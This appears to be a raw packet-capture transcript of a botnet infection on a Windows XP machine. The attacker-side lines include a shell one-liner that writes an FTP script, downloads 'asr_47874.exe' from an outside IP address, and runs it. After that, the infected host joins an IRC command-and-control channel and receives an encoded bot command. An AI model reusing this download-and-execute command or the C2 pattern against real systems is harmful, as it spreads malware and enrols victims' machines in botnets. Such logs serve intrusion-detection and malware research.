VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: 220 VICTIM: USER xaocoq ATTACKER: echo open 71.175.12.216 54018 >> asr_xaoco &echo user xaocoq xaocoq >> asr_xaoco &echo get asr_47874.exe >> asr_xaoco &echo quit >> asr_xaoco &ftp -nv -s:asr_xaoco &start asr_47874.exeConnected to 71.175.12.216.open 71.175.12.216 54018 220 ATTACKER: 331 VICTIM: PASS xaocoq VICTIM: user xaocoq xaocoq 331 ATTACKER: 230 VICTIM: PORT 192,168,1,8,4,9 ATTACKER: 200 ATTACKER: RETR asr_47874.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: PASS secretpass VICTIM: NICK P|aikgqvvfpUSER dwlaplvyi * 0 :USA|XP|375 ATTACKER: :hub.3528.net 001 P|aikgqvvfp :P|aikgqvvfp!dwlaplvyi@192.168.1.8:hub.3528.net 376 P|aikgqvvfp : VICTIM: USERHOST P|aikgqvvfp ATTACKER: :hub.3528.net 302 P|aikgqvvfp :P|aikgqvvfp=+dwlaplvyi@192.168.1.8 VICTIM: USERHOST P|aikgqvvfpMODE P|aikgqvvfp JOIN #mm RSA ATTACKER: :hub.3528.net 302 P|aikgqvvfp :P|aikgqvvfp=+dwlaplvyi@192.168.1.8 :hub.3528.net 221 P|aikgqvvfp +:P|aikgqvvfp!dwlaplvyi@192.168.1.8 JOIN :#mm:hub.3528.net 332 P|aikgqvvfp #mm :+yOfS7/ZgRdB.u97R71RybXB/oEF380Z.l75.Hok4t048KCX1Lwo5G04miGH1